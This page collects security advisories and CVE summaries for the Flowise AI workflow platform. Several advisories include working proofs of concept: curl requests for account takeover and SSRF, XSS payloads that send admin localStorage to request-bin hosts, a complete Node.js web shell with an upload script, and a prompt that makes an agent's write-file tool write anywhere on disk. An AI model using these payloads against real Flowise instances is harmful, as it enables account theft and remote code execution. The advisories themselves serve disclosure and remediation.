See how flowiseai compares to other vendors in security performance
FlowiseAI Flowise v2.2.6 was discovered to contain an arbitrary file upload vulnerability in /api/v1/attachments.
Flowise <= 2.2.3 is vulnerable to SQL Injection. via tableName parameter at PostgresVectorStores.
Summary
The forgot-password endpoint in Flowise returns sensitive information including a valid password reset tempToken without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO).
This vulnerability applies to both the cloud service (cloud.flowiseai.com) and self-hosted/local Flowise deployments that expose the same API.
CVSS v3.1 Base Score: 9.8 (Critical) Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
---
Details
The endpoint /api/v1/account/forgot-password accepts an email address as input. Instead of only sending a reset email, the API responds directly with sensitive user details, including:
User ID, name, email, hashed credential, status, timestamps. A valid tempToken and its expiry, which is intended for password reset. This tempToken can then be reused immediately in the /api/v1/account/reset-password endpoint to reset the password of the targeted account without any email verification or user interaction. Exploitation requires only the victim’s email address, which is often guessable or discoverable. Because the vulnerable endpoints exist in both Flowise Cloud and local/self-hosted deployments, any exposed instance is vulnerable to account takeover.
This effectively allows any unauthenticated attacker to take over arbitrary accounts (including admin or privileged accounts) by requesting a reset for their email.
---
PoC
1. Request a reset token for the victim
bash curl -i -X POST https://<target>/api/v1/account/forgot-password \ -H "Content-Type: application/json" \ -d '{"user":{"email":"<victim@example.com>"}}'
Response (201 Created):
json { "user": { "id": "<redacted-uuid>", "name": "<redacted>", "email": "<victim@example.com>", "credential": "<redacted-hash>", "tempToken": "<redacted-tempToken>", "tokenExpiry": "2025-08-19T13:00:33.834Z", "status": "active" } }
2. Use the exposed tempToken to reset the password
bash curl -i -X POST https://<target>/api/v1/account/reset-password \ -H "Content-Type: application/json" \ -d '{ "user":{ "email":"<victim@example.com>", "tempToken":"<redacted-tempToken>", "password":"NewSecurePassword123!" } }'
Expected Result: 200 OK The victim’s account password is reset, allowing full login.
---
Impact
Type: Authentication bypass / Insecure direct object exposure. Impact:
Any account (including administrator or high-value accounts) can be reset and taken over with only the email address. Applies to both Flowise Cloud and locally hosted/self-managed deployments. Leads to full account takeover, data exposure, impersonation, and possible control over organizational assets. High likelihood of exploitation since no prior access or user interaction is required.
---
Recommended Remediation
Do not return reset tokens or sensitive account details in API responses. Tokens must only be delivered securely via the registered email channel. Ensure forgot-password responds with a generic success message regardless of input, to avoid user enumeration. Require strong validation of the tempToken (e.g., single-use, short expiry, tied to request origin, validated against email delivery). Apply the same fixes to both cloud and self-hosted/local deployments. Log and monitor password reset requests for suspicious activity. Consider multi-factor verification for sensitive accounts.
Credit
---
⚠️ This is a Critical ATO vulnerability because it allows attackers to compromise any account with only knowledge of an email address, and it applies to all deployment models (cloud and local).
---
Summary ---
A Server-Side Request Forgery (SSRF) vulnerability was discovered in the /api/v1/fetch-links endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints.
Details ---
Vulnerability Overview
The fetch-links feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links.
The issue arises because the feature performs these HTTP requests without validating the user-supplied URL. In particular, when the relativeLinksMethod parameter is set to webCrawl or xmlScrape, the server directly calls the fetch() function with the provided URL, making it vulnerable to SSRF attacks.
Root Cause
The fetch() function is called without URL validation or restriction, which enables attackers to redirect the server to internal services.
Taint Flow
• Taint 01: Route Registration
https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24
• Taint 02: Service
https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18
• Taint 03: xmlScrape
https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478
PoC ---
PoC Description
This vulnerability was verified in a local development environment. The Flowise server was running at http://localhost:3000, and authentication was performed using the Bearer token:
tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q
Upon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as:
- /api/users (User Management) - /api/secrets (API Keys) - /api/database (Database Config)
This demonstrated that an attacker could enumerate internal web service structures.
Internal Admin Server (Mock)
python from flask import Flask, rendertemplatestring
app = Flask(name)
@app.route('/') def admin(): return rendertemplatestring(""" <html> <h1>Internal Admin Panel</h1> <ul> <li><a href="/api/users">User Management</a></li> <li><a href="/api/secrets">API Keys</a></li> <li><a href="/api/database">Database Config</a></li> <li><a href="/api/logs">System Logs</a></li> </ul> """)
@app.route('/api/users') def users(): return rendertemplatestring(""" <html> <h1>Users</h1> <ul> <li><a href="/api/users/admin">admin (root)</a></li> <li><a href="/api/users/operator">operator</a></li> </ul> <a href="/">Back</a> """)
@app.route('/api/secrets') def secrets(): return rendertemplatestring(""" <html> <h1>Secrets</h1> <ul> <li><a href="/api/secrets/dbkey">DB Key: sk-1234567890abcdef</a></li> <li><a href="/api/secrets/awskey">AWS Key: AKIAIOSFODNN7EXAMPLE</a></li> </ul> <a href="/">Back</a> """)
if name == 'main': app.run(host='127.0.0.1', port=8080)
curl Request Example
bash curl -G 'http://localhost:3000/api/v1/fetch-links' \ --data-urlencode 'url=http://127.0.0.1:8080/' \ --data-urlencode 'relativeLinksMethod=webCrawl' \ --data-urlencode 'limit=10' \ -H 'Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q' \ -s | jq '.' <img width="1914" height="952" alt="image" src="https://github.com/user-attachments/assets/6cb1abb1-0a31-43d4-8d9e-8d45f58051f3" />
Impact ---
This is a Server-Side Request Forgery (SSRF) vulnerability.
- Who is impacted? Any user running Flowise server exposed to external traffic. - Risk: Attackers can leverage the Flowise server to: - Explore internal web applications - Bypass firewall rules - Access sensitive administrative interfaces - Leak internal configuration, credentials, or secrets
This vulnerability significantly increases the risk of internal service enumeration and potential lateral movement in an enterprise environment.
Description In the chat log, tags like input and form are allowed. This makes a potential vulnerability where an attacker could inject malicious HTML into the log via prompts. When an admin views the log containing the malicious HTML, the attacker could steal the admin's credentials or sensitive information with stored Cross Site Scripting.
PoC html <form> <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:alert('XSS!!!');" /> </form> If the above HTML code is entered, a very large img gets injected into the log. When an admin clicks the generated img, it alerts ‘XSS!!!’. It means stored xss is able in the chatbot. html <form> <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:window.location.href='<YOURREQUESTBINSERVER>?passwd=' + encodeURIComponent(localStorage.getItem('password'));" /> </form> So when an admin clicks the img that generated by above html code, it sends a request, including credentials, to the attacker's IP. If attacker steal admin’s token, attacker can login as the admin in the apps.
Poc Video poc
Impact An attacker could hijack an admin account in published chatbot. This can allow attacker to view chat logs of other users and API keys.
Summary A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.
---
Details The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.
---
PoC 1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website). 2. Send the following payload via the agent's chat interface: html <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> 3. As an admin, go to the workflow and click "View Messages". 4. The JavaScript is executed in the admin's browser, exfiltrating localStorage content to the attacker-controlled webhook endpoint.
---
Impact - Type: Stored Cross-Site Scripting (XSS) - Who is impacted: Any admin viewing messages in the FlowiseAI UI - Data at risk: Admin credentials, or sensitive info stored in localStorage - Severity: High (Account takeover, admin privilege escalation, full panel compromise)
---
Affected Products - Ecosystem: npm - Package name: flowise - Affected versions: < 2.2.7 - Patched versions:1
Summary A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).
Details The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.
The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.
Taint Flow
- Taint 01: Route Registration POST file requests are routed to the controller via Multer https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8
- Taint 02: Multer Settings Uploaded files are stored temporarily before further handling https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954
- Taint 03: Controller Receives the file from Multer and delegates to the service https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11
- Taint 04: Service Layer Processes the file and sends results back to controller https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16
- Taint 05: createFileAttachment Extracts metadata, moves file to permanent storage https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126
- Taint 06: File Save Path Creates storage directory and saves file https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175 https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541
- Taint 07: File Filtering Filters dangerous characters in file names but does not reject malicious content https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111
PoC
shell.js (Node.js Web Shell) js const { exec } = require('childprocess'); const http = require('http');
const server = http.createServer((req, res) => { const url = new URL(req.url, 'http://localhost'); const cmd = url.searchParams.get('cmd');
if (cmd) { console.log(Executing: ${cmd}); exec(cmd, (error, stdout, stderr) => { res.writeHead(200, {'Content-Type': 'text/plain'}); if (error) { res.end(Error: ${error.message}\n${stderr || ''}); } else { res.end(stdout || 'Command executed successfully'); } }); } else { res.writeHead(200, {'Content-Type': 'text/html'}); res.end( <h1>Node.js Web Shell</h1> <p>Use ?cmd=command to execute</p> <p>Example: ?cmd=id</p> ); } });
const PORT = 8888; server.listen(PORT, '0.0.0.0', () => { console.log(Shell running on port ${PORT}); console.log(Access: http://localhost:${PORT}?cmd=id); });
curl Upload bash curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \ -H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \ -F "files=@shell.js;type=application/javascript"
Python Upload Script python import requests import uuid
TARGETURL = "http://localhost:3000" CHATFLOWID = "0237eefc-18c5-46b2-8b3c-97aa516133fc" TOKEN = "ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" CHATID = str(uuid.uuid4())
def uploadshell(): url = f"{TARGETURL}/api/v1/attachments/{CHATFLOWID}/{CHATID}" headers = {'Cookie': f'jwt={TOKEN}'} files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')} r = requests.post(url, headers=headers, files=files)
if r.statuscode == 200: print("[✓] Upload success") print(r.text) else: print(f"[✗] Upload failed ({r.statuscode})") print(r.text)
if name == "main": uploadshell()
<img width="1900" height="981" alt="image" src="https://github.com/user-attachments/assets/e0d6a11e-445e-447c-a8f3-c0cb0b9ffb3f" />
Impact An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.
Summary
The WriteFileTool in Flowise does not restrict the file path for reading, allowing authenticated attackers to exploit this vulnerability to write arbitrary files to any path in the file system, potentially leading to remote command execution.
Details
Flowise supports providing WriteFileTool for large models, which is used to write files to the server's file system. The implementation of this tool is located at packages/components/nodes/tools/WriteFile/WriteFile.ts.
/ Class for writing data to files on the disk. Extends the StructuredTool class. / export class WriteFileTool extends StructuredTool { static lcname() { return 'WriteFileTool' }
schema = z.object({ filepath: z.string().describe('name of file'), text: z.string().describe('text to write to file') }) as any
name = 'writefile'
description = 'Write file from disk'
store: BaseFileStore
constructor({ store, ...rest }: WriteFileParams) { super(rest)
this.store = store }
async call({ filepath, text }: z.infer<typeof this.schema>) { await this.store.writeFile(filepath, text) return 'File written to successfully.' } }
This tool directly uses the filepath parameter passed to it without verifying whether the path belongs to Flowise's working directory. Authenticated attackers can exploit this vulnerability to write files with arbitrary content to any path on the server.
There are numerous ways to achieve remote command execution through arbitrary file write vulnerabilities, which will not be elaborated here. For example, attackers could write their own public key to ~/.ssh/authorizedkeys to gain remote SSH access, or overwrite /etc/ld.so.preload to hijack dynamic libraries and execute arbitrary code. Flowise's historical vulnerability information (https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-8vvx-qvq9-5948) also describes steps to achieve remote command execution by overwriting the start command in package.json.
PoC
This file writing vulnerability has been verified to exist in the latest Flowise Docker image (https://hub.docker.com/layers/flowiseai/flowise/latest/images/sha256-26300377397818a451e0710389eb77615256b0f3ecc895194850ab35dda3ae7b). The reproduction steps are as follows:
1. Pull the Flowise Docker image
docker pull flowiseai/flowise
2. Start the Flowise service
docker run -d --name flowise -p 3000:3000 flowise
3. Access the Flowise service at server ip:3000 in your browser and register an account 4. Save the following content as agent.json
{ "nodes": [ { "id": "startAgentflow0", "type": "agentFlow", "position": { "x": -203, "y": 37 }, "data": { "id": "startAgentflow0", "label": "Start", "version": 1.1, "name": "startAgentflow", "type": "Start", "color": "#7EE787", "hideInput": true, "baseClasses": [ "Start" ], "category": "Agent Flows", "description": "Starting point of the agentflow", "inputParams": [ { "label": "Input Type", "name": "startInputType", "type": "options", "options": [ { "label": "Chat Input", "name": "chatInput", "description": "Start the conversation with chat input" }, { "label": "Form Input", "name": "formInput", "description": "Start the workflow with form inputs" } ], "default": "chatInput", "id": "startAgentflow0-input-startInputType-options", "display": true }, { "label": "Form Title", "name": "formTitle", "type": "string", "placeholder": "Please Fill Out The Form", "show": { "startInputType": "formInput" }, "id": "startAgentflow0-input-formTitle-string", "display": false }, { "label": "Form Description", "name": "formDescription", "type": "string", "placeholder": "Complete all fields below to continue", "show": { "startInputType": "formInput" }, "id": "startAgentflow0-input-formDescription-string", "display": false }, { "label": "Form Input Types", "name": "formInputTypes", "description": "Specify the type of form input", "type": "array", "show": { "startInputType": "formInput" }, "array": [ { "label": "Type", "name": "type", "type": "options", "options": [ { "label": "String", "name": "string" }, { "label": "Number", "name": "number" }, { "label": "Boolean", "name": "boolean" }, { "label": "Options", "name": "options" } ], "default": "string" }, { "label": "Label", "name": "label", "type": "string", "placeholder": "Label for the input" }, { "label": "Variable Name", "name": "name", "type": "string", "placeholder": "Variable name for the input (must be camel case)", "description": "Variable name must be camel case. For example: firstName, lastName, etc." }, { "label": "Add Options", "name": "addOptions", "type": "array", "show": { "formInputTypes[$index].type": "options" }, "array": [ { "label": "Option", "name": "option", "type": "string" } ] } ], "id": "startAgentflow0-input-formInputTypes-array", "display": false }, { "label": "Ephemeral Memory", "name": "startEphemeralMemory", "type": "boolean", "description": "Start fresh for every execution without past chat history", "optional": true, "id": "startAgentflow0-input-startEphemeralMemory-boolean", "display": true }, { "label": "Flow State", "name": "startState", "description": "Runtime state during the execution of the workflow", "type": "array", "optional": true, "array": [ { "label": "Key", "name": "key", "type": "string", "placeholder": "Foo" }, { "label": "Value", "name": "value", "type": "string", "placeholder": "Bar", "optional": true } ], "id": "startAgentflow0-input-startState-array", "display": true }, { "label": "Persist State", "name": "startPersistState", "type": "boolean", "description": "Persist the state in the same session", "optional": true, "id": "startAgentflow0-input-startPersistState-boolean", "display": true } ], "inputAnchors": [], "inputs": { "startInputType": "chatInput", "formTitle": "", "formDescription": "", "formInputTypes": "", "startEphemeralMemory": "", "startState": "", "startPersistState": "" }, "outputAnchors": [ { "id": "startAgentflow0-output-startAgentflow", "label": "Start", "name": "startAgentflow" } ], "outputs": {}, "selected": false }, "width": 103, "height": 66, "selected": false, "positionAbsolute": { "x": -203, "y": 37 }, "dragging": false }, { "id": "directReplyAgentflow0", "position": { "x": 209, "y": 30.25 }, "data": { "id": "directReplyAgentflow0", "label": "Direct Reply 0", "version": 1, "name": "directReplyAgentflow", "type": "DirectReply", "color": "#4DDBBB", "hideOutput": true, "baseClasses": [ "DirectReply" ], "category": "Agent Flows", "description": "Directly reply to the user with a message", "inputParams": [ { "label": "Message", "name": "directReplyMessage", "type": "string", "rows": 4, "acceptVariable": true, "id": "directReplyAgentflow0-input-directReplyMessage-string", "display": true } ], "inputAnchors": [], "inputs": { "directReplyMessage": "", "undefined": "" }, "outputAnchors": [], "outputs": {}, "selected": false }, "type": "agentFlow", "width": 163, "height": 66, "selected": false, "positionAbsolute": { "x": 209, "y": 30.25 }, "dragging": false }, { "id": "agentAgentflow0", "position": { "x": -63.5, "y": 89.125 }, "data": { "id": "agentAgentflow0", "label": "Agent 0", "version": 2, "name": "agentAgentflow", "type": "Agent", "color": "#4DD0E1", "baseClasses": [ "Agent" ], "category": "Agent Flows", "description": "Dynamically choose and utilize tools during runtime, enabling multi-step reasoning", "inputParams": [ { "label": "Model", "name": "agentModel", "type": "asyncOptions", "loadMethod": "listModels", "loadConfig": true, "id": "agentAgentflow0-input-agentModel-asyncOptions", "display": true }, { "label": "Messages", "name": "agentMessages", "type": "array", "optional": true, "acceptVariable": true, "array": [ { "label": "Role", "name": "role", "type": "options", "options": [ { "label": "System", "name": "system" }, { "label": "Assistant", "name": "assistant" }, { "label": "Developer", "name": "developer" }, { "label": "User", "name": "user" } ] }, { "label": "Content", "name": "content", "type": "string", "acceptVariable": true, "generateInstruction": true, "rows": 4 } ], "id": "agentAgentflow0-input-agentMessages-array", "display": true }, { "label": "OpenAI Built-in Tools", "name": "agentToolsBuiltInOpenAI", "type": "multiOptions", "optional": true, "options": [ { "label": "Web Search", "name": "websearchpreview", "description": "Search the web for the latest information" }, { "label": "Code Interpreter", "name": "codeinterpreter", "description": "Write and run Python code in a sandboxed environment" }, { "label": "Image Generation", "name": "imagegeneration", "description": "Generate images based on a text prompt" } ], "show": { "agentModel": "chatOpenAI" }, "id": "agentAgentflow0-input-agentToolsBuiltInOpenAI-multiOptions", "display": false }, { "label": "Tools", "name": "agentTools", "type": "array", "optional": true, "array": [ { "label": "Tool", "name": "agentSelectedTool", "type": "asyncOptions", "loadMethod": "listTools", "loadConfig": true }, { "label": "Require Human Input", "name": "agentSelectedToolRequiresHumanInput", "type": "boolean", "optional": true } ], "id": "agentAgentflow0-input-agentTools-array", "display": true }, { "label": "Knowledge (Document Stores)", "name": "agentKnowledgeDocumentStores", "type": "array", "description": "Give your agent context about different document sources. Document stores must be upserted in advance.", "array": [ { "label": "Document Store", "name": "documentStore", "type": "asyncOptions", "loadMethod": "listStores" }, { "label": "Describe Knowledge", "name": "docStoreDescription", "type": "string", "generateDocStoreDescription": true, "placeholder": "Describe what the knowledge base is about, this is useful for the AI to know when and how to search for correct information", "rows": 4 }, { "label": "Return Source Documents", "name": "returnSourceDocuments", "type": "boolean", "optional": true } ], "optional": true, "id": "agentAgentflow0-input-agentKnowledgeDocumentStores-array", "display": true }, { "label": "Knowledge (Vector Embeddings)", "name": "agentKnowledgeVSEmbeddings", "type": "array", "description": "Give your agent context about different document sources from existing vector stores and embeddings", "array": [ { "label": "Vector Store", "name": "vectorStore", "type": "asyncOptions", "loadMethod": "listVectorStores", "loadConfig": true }, { "label": "Embedding Model", "name": "embeddingModel", "type": "asyncOptions", "loadMethod": "listEmbeddings", "loadConfig": true }, { "label": "Knowledge Name", "name": "knowledgeName", "type": "string", "placeholder": "A short name for the knowledge base, this is useful for the AI to know when and how to search for correct information" }, { "label": "Describe Knowledge", "name": "knowledgeDescription", "type": "string", "placeholder": "Describe what the knowledge base is about, this is useful for the AI to know when and how to search for correct information", "rows": 4 }, { "label": "Return Source Documents", "name": "returnSourceDocuments", "type": "boolean", "optional": true } ], "optional": true, "id": "agentAgentflow0-input-agentKnowledgeVSEmbeddings-array", "display": true }, { "label": "Enable Memory", "name": "agentEnableMemory", "type": "boolean", "description": "Enable memory for the conversation thread", "default": true, "optional": true, "id": "agentAgentflow0-input-agentEnableMemory-boolean", "display": true }, { "label": "Memory Type", "name": "agentMemoryType", "type": "options", "options": [ { "label": "All Messages", "name": "allMessages", "description": "Retrieve all messages from the conversation" }, { "label": "Window Size", "name": "windowSize", "description": "Uses a fixed window size to surface the last N messages" }, { "label": "Conversation Summary", "name": "conversationSummary", "description": "Summarizes the whole conversation" }, { "label": "Conversation Summary Buffer", "name": "conversationSummaryBuffer", "description": "Summarize conversations once token limit is reached. Default to 2000" } ], "optional": true, "default": "allMessages", "show": { "agentEnableMemory": true }, "id": "agentAgentflow0-input-agentMemoryType-options", "display": false }, { "label": "Window Size", "name": "agentMemoryWindowSize", "type": "number", "default": "20", "description": "Uses a fixed window size to surface the last N messages", "show": { "agentMemoryType": "windowSize" }, "id": "agentAgentflow0-input-agentMemoryWindowSize-number", "display": false }, { "label": "Max Token Limit", "name": "agentMemoryMaxTokenLimit", "type": "number", "default": "2000", "description": "Summarize conversations once token limit is reached. Default to 2000", "show": { "agentMemoryType": "conversationSummaryBuffer" }, "id": "agentAgentflow0-input-agentMemoryMaxTokenLimit-number", "display": false }, { "label": "Input Message", "name": "agentUserMessage", "type": "string", "description": "Add an input message as user message at the end of the conversation", "rows": 4, "optional": true, "acceptVariable": true, "show": { "agentEnableMemory": true }, "id": "agentAgentflow0-input-agentUserMessage-string", "display": false }, { "label": "Return Response As", "name": "agentReturnResponseAs", "type": "options", "options": [ { "label": "User Message", "name": "userMessage" }, { "label": "Assistant Message", "name": "assistantMessage" } ], "default": "userMessage", "id": "agentAgentflow0-input-agentReturnResponseAs-options", "display": true }, { "label": "Update Flow State", "name": "agentUpdateState", "description": "Update runtime state during the execution of the workflow", "type": "array", "optional": true, "acceptVariable": true, "array": [ { "label": "Key", "name": "key", "type": "asyncOptions", "loadMethod": "listRuntimeStateKeys", "freeSolo": true }, { "label": "Value", "name": "value", "type": "string", "acceptVariable": true, "acceptNodeOutputAsVariable": true } ], "id": "agentAgentflow0-input-agentUpdateState-array", "display": true } ], "inputAnchors": [], "inputs": { "agentModel": "chatOpenRouter", "agentMessages": [ { "role": "", "content": "<p><span class=\"variable\" data-type=\"mention\" data-id=\"question\" data-label=\"question\">{{ question }}</span> </p>" } ], "agentTools": [ { "agentSelectedTool": "readFile", "agentSelectedToolRequiresHumanInput": "", "agentSelectedToolConfig": { "basePath": "/", "agentSelectedTool": "readFile" } }, { "agentSelectedTool": "writeFile", "agentSelectedToolRequiresHumanInput": "", "agentSelectedToolConfig": { "basePath": "/", "agentSelectedTool": "writeFile" } } ], "agentKnowledgeDocumentStores": "", "agentKnowledgeVSEmbeddings": "", "agentEnableMemory": false, "agentReturnResponseAs": "userMessage", "agentUpdateState": "", "undefined": "", "agentModelConfig": { "cache": "", "modelName": "qwen/qwen3-30b-a3b", "temperature": 0.9, "streaming": true, "maxTokens": "", "topP": "", "frequencyPenalty": "", "presencePenalty": "", "timeout": "", "basepath": "https://openrouter.ai/api/v1", "baseOptions": "", "agentModel": "chatOpenRouter" } }, "outputAnchors": [ { "id": "agentAgentflow0-output-agentAgentflow", "label": "Agent", "name": "agentAgentflow" } ], "outputs": {}, "selected": false }, "type": "agentFlow", "width": 232, "height": 100, "selected": false, "positionAbsolute": { "x": -63.5, "y": 89.125 }, "dragging": false } ], "edges": [ { "source": "startAgentflow0", "sourceHandle": "startAgentflow0-output-startAgentflow", "target": "agentAgentflow0", "targetHandle": "agentAgentflow0", "data": { "sourceColor": "#7EE787", "targetColor": "#4DD0E1", "isHumanInput": false }, "type": "agentFlow", "id": "startAgentflow0-startAgentflow0-output-startAgentflow-agentAgentflow0-agentAgentflow0" }, { "source": "agentAgentflow0", "sourceHandle": "agentAgentflow0-output-agentAgentflow", "target": "directReplyAgentflow0", "targetHandle": "directReplyAgentflow0", "data": { "sourceColor": "#4DD0E1", "targetColor": "#4DDBBB", "isHumanInput": false }, "type": "agentFlow", "id": "agentAgentflow0-agentAgentflow0-output-agentAgentflow-directReplyAgentflow0-directReplyAgentflow0" } ] } 5. Click on "AgentFlows" on the left, then click "Add New" on the right to enter the Agent creation page. Click the gear button in the upper right corner, select "Load Agents," choose the agent.json file, and after successful import, you will see three connected nodes. 6. Double-click the middle "Agent 0" node, click "ChatOpenRouter Parameters," then "Connect Credential," and select "Create New." Enter a valid OpenRouter API Key. Alternatively, click "Model" to choose another LLM provider. Once done, click the save button in the upper right corner. 7. After saving, click the purple chat button in the upper right corner and enter: Write "hacked" to /tmp/hacked.txt. 8. After the call is completed, log in to the container via docker exec -it [container id] sh, and you can see that the file has been successfully written.
Impact
Authenticated attackers can exploit this vulnerability to write arbitrary files to any path on the server, ultimately achieving remote command execution.
Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulinerabity Discovery Engine
If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.
Flowise v3.0.1 < 3.0.8 and all versions after with 'ALLOWBUILTINDEP' enabled contain an authenticated remote code execution vulnerability and node VM sandbox escape due to insecure use of integrated modules (Puppeteer and Playwright) within the nodevm execution environment. An authenticated attacker able to create or run a tool that leverages Puppeteer/Playwright can specify attacker-controlled browser binary paths and parameters. When the tool executes, the attacker-controlled executable/parameters are run on the host and circumvent the intended nodevm sandbox restrictions, resulting in execution of arbitrary code in the context of the host.
NOTE: This vulnerability was incorrectly assigned as a duplicate CVE-2025-26319 and should be considered distinct from that identifier.
Flowise before 3.0.10 (affected versions 3.0.7 and earlier) contains an unverified email change vulnerability. An authenticated user can change the account email address, used as a login identifier and password-recovery channel, via the account profile endpoint without confirming the change to the original email address or re-entering the current password. By changing the recovery email, an attacker can take over the account and abuse password reset mechanisms.
Flowise through 2.2.7 contains a SQL injection vulnerability in the importChatflows API. Due to insufficient validation of the chatflow.id value, an authenticated user can supply a crafted JSON import file whose id field is concatenated unsanitized into a SQL IN clause, allowing arbitrary SQL to be executed, including blind and error-based extraction of data from the credential table.
Flowise before 3.0.10 (affected versions 3.0.7 and earlier) fails to invalidate existing sessions and session tokens after a user changes their password. An attacker who already holds an active session, for example via a stolen session token or a device left logged in, remains authenticated as the legitimate user even after the user rotates their credentials, undermining the security purpose of the password change.
Flowise contains an authentication bypass vulnerability in the unprotected /api/v1/account/register endpoint that allows unauthenticated attackers to create user accounts. Remote attackers can exploit this endpoint to register arbitrary accounts and authenticate to the system, gaining full API access without credentials.
Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorageFile(), where a fallback file-lookup path constructed without the orgId is evaluated after the storage-directory containment check, allowing path traversal beyond the intended storage directory. Unauthenticated attackers can read sensitive files such as /root/.flowise/database.sqlite, exposing all database content in the default configuration.
Flowise before 3.0.6 (affected versions 2.2.8 and earlier) contains an arbitrary file access vulnerability due to missing validation that the chatflowId and chatId parameters are UUIDs or numbers in file handling operations. By supplying a path-traversal value (e.g., '../../../../../tmp') as the chatflow id, an unauthenticated attacker can use the /api/v1/chatflows endpoint (via addBase64FilesToStorage) to write arbitrary files, and the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints (via streamStorageFile) to read arbitrary files. Arbitrary file write may lead to remote code execution.
Flowise through 2.2.4 contains an unauthenticated arbitrary file upload vulnerability in the /api/v1/attachments endpoint when storageType is set to local. Attackers can exploit path traversal in the chatId and chatflowId parameters to upload malicious files to arbitrary directories, potentially enabling remote code execution and server compromise.
Flowise before 3.0.6 (affected versions 2.2.7-patch.1 and earlier) contains an unsandboxed remote code execution vulnerability in the Custom MCP feature, which is designed to execute OS commands such as launching local MCP servers. Because Flowise's authentication and authorization model is minimal and lacks role-based access control, and the default installation runs without authentication unless FLOWISEUSERNAME and FLOWISEPASSWORD are set, an attacker can send a crafted JSON payload with the header 'x-request-from: internal' to the /api/v1/node-load-method/customMCP endpoint to execute arbitrary OS commands, resulting in complete compromise of the platform container or server.
Flowise before 3.0.10 contains an unverified password change vulnerability. An authenticated user can change their account password through the account settings (Security) section without supplying the current password or any additional verification, as the application does not enforce a current-password check on the credential change. This can lead to full account takeover, particularly if an attacker can hijack or coerce an authenticated session.
Flowise through 2.2.7 fails to sanitize path segments in the document-store loader endpoint, allowing unauthenticated attackers to write files outside the storage directory. Attackers can use parent-directory sequences to escape the storage directory and overwrite application files loaded at boot for remote code execution.
